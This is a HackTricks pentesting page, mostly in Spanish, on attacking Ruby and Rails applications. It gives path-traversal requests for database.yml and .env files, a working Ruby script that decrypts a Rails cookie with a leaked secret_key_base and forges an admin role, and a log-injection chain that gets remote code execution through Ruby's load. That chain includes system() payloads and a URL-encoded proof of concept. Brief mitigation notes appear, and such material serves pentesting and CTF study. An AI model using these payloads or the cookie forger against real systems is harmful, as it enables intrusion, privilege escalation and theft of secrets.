Trucos de Ruby
Reading time: 9 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Subida de archivos a RCE
As explained in this article, uploading a .rb
file into sensitive directories such as config/initializers/
can lead to remote code execution (RCE) in Ruby on Rails applications.
Consejos:
- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son peligrosas si son escribibles (p. ej.,
config/initializers/
es la clásica). Si encuentras una subida de archivos arbitraria que termine en cualquier sitio bajoconfig/
y luego se evalúa/requirea, podrías obtener RCE en el arranque. - Busca builds de dev/staging que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará al iniciar.
Active Storage image transformation → command execution (CVE-2025-24293)
Cuando una aplicación usa Active Storage con image_processing
+ mini_magick
, y pasa parámetros no confiables a los métodos de transformación de imagen, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por defecto por error.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t]
and/or params[:v]
are attacker-controlled.
-
Qué probar durante las pruebas
-
Identifica endpoints que acepten opciones de variant/processing, nombres de transformación o argumentos arbitrarios de ImageMagick.
-
Fuzzea
params[:t]
yparams[:v]
buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos crudos que lleguen a MiniMagick, podrías lograr ejecución de código en el host que procesa las imágenes. -
Si solo tienes acceso de lectura a variantes generadas, intenta exfiltración ciega mediante operaciones de ImageMagick manipuladas.
-
Mitigación/detecciones
-
Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage +
image_processing
+mini_magick
y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick endurecida.
Rack::Static LFI / path traversal (CVE-2025-27610)
Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de rack
anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía Rack::Static
cuando :root
no está seteado/mal configurado. Traversal codificado en PATH_INFO
puede exponer archivos bajo el working directory del proceso o un root inesperado.
- Busca apps que monten
Rack::Static
enconfig.ru
o en stacks de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajusta el prefijo para que coincida con los urls:
configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI hacia cualquier cosa bajo el :root
resuelto.
- Mitigación: upgrade Rack; asegúrate de que
:root
solo apunte a un directorio de archivos públicos y esté explícitamente seteado.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails cifra y firma cookies usando claves derivadas de secret_key_base
. Si ese valor se filtra (p. ej., en un repo, logs o credenciales mal configuradas), normalmente puedes descifrar, modificar y volver a cifrar cookies. Esto con frecuencia conduce a bypass de authz si la app almacena roles, user IDs o feature flags en cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notas:
- Las apps más antiguas pueden usar AES-256-CBC y salts
encrypted cookie
/signed encrypted cookie
, o JSON/Marshal serializers. Ajusta salts, cipher y serializer en consecuencia. - Tras una compromisión/evaluación, rota
secret_key_base
para invalidar todas las cookies existentes.
Véase también (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Cuando una app (a menudo un endpoint simple de Rack/Sinatra/Rails) cumple ambas:
- registra una cadena controlada por el usuario literalmente, y
- más tarde
load
s un archivo cuya ruta se deriva de esa misma cadena (después dePathname#cleanpath
),
A menudo puedes lograr ejecución remota de código envenenando el registro y luego forzando a la app a load
el archivo de registro. Primitivas clave:
- Ruby
load
evalúa el contenido del archivo objetivo como Ruby sin importar la extensión. Cualquier archivo de texto legible cuyo contenido se interprete como Ruby será ejecutado. Pathname#cleanpath
colapsa los segmentos.
y..
sin tocar el sistema de archivos, permitiendo path smuggling: basura controlada por el atacante puede ser antepuesta para el registro mientras la ruta limpiada sigue resolviendo al archivo previsto para ejecutar (p. ej.,../logs/error.log
).
Patrón vulnerable mínimo
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Por qué el log puede contener Ruby válido
Logger
escribe líneas de prefijo como:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
En Ruby, #
inicia un comentario y 9/2/2025
es solo aritmética. Para inyectar código Ruby válido necesitas:
- Comienza tu payload en una nueva línea para que no quede comentado por el
#
en la línea INFO; envía una newline inicial (\n
o%0A
). - Cierra el
[
suelto introducido por la línea INFO. Un truco común es empezar con]
y, opcionalmente, contentar al parser con][0]=1
. - Luego coloca código Ruby arbitrario (p. ej.,
system(...)
).
Ejemplo de lo que terminará en el log después de una solicitud con un parámetro construido:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling de una sola cadena que tanto registra código como resuelve a la ruta del log
Queremos una sola cadena controlada por el atacante que:
- cuando se registra en bruto, contiene nuestra Ruby payload, y
- cuando se pasa por
Pathname.new(<input>).cleanpath
, resuelve a../logs/error.log
de modo que el posteriorload
ejecute el log file recién envenenado.
Pathname#cleanpath
ignora schemes y colapsa componentes de traversal, así que lo siguiente funciona:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- El
#
antes de://
hace que Ruby ignore la cola cuando se ejecuta el log, mientras quecleanpath
todavía reduce el sufijo a../logs/error.log
. - El salto de línea inicial rompe la línea INFO;
]
cierra el corchete colgante;][0]=1
satisface el parser.
Explotación de extremo a extremo
- Envía lo siguiente como el nombre del script de backup (codifica la primera nueva línea como
%0A
si es necesario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- La app registra tu cadena sin procesar en
logs/error.log
. - La app calcula
cleanpath
que resuelve a../logs/error.log
y llama aload
sobre él. - Ruby ejecuta el código que inyectaste en el log.
Para exfiltrar un archivo en un entorno tipo CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (el primer carácter es un salto de línea):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Referencias
- Aviso de seguridad de Rails: CVE-2025-24293 — métodos de transformación inseguros de Active Storage (corregido en 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Aviso de GitHub: Rack::Static — Inclusión de archivos locales (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection a Ruby RCE (YesWeHack Dojo)
- Documentación de Ruby Pathname.cleanpath
- Ruby Logger
- Cómo funciona load en Ruby
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.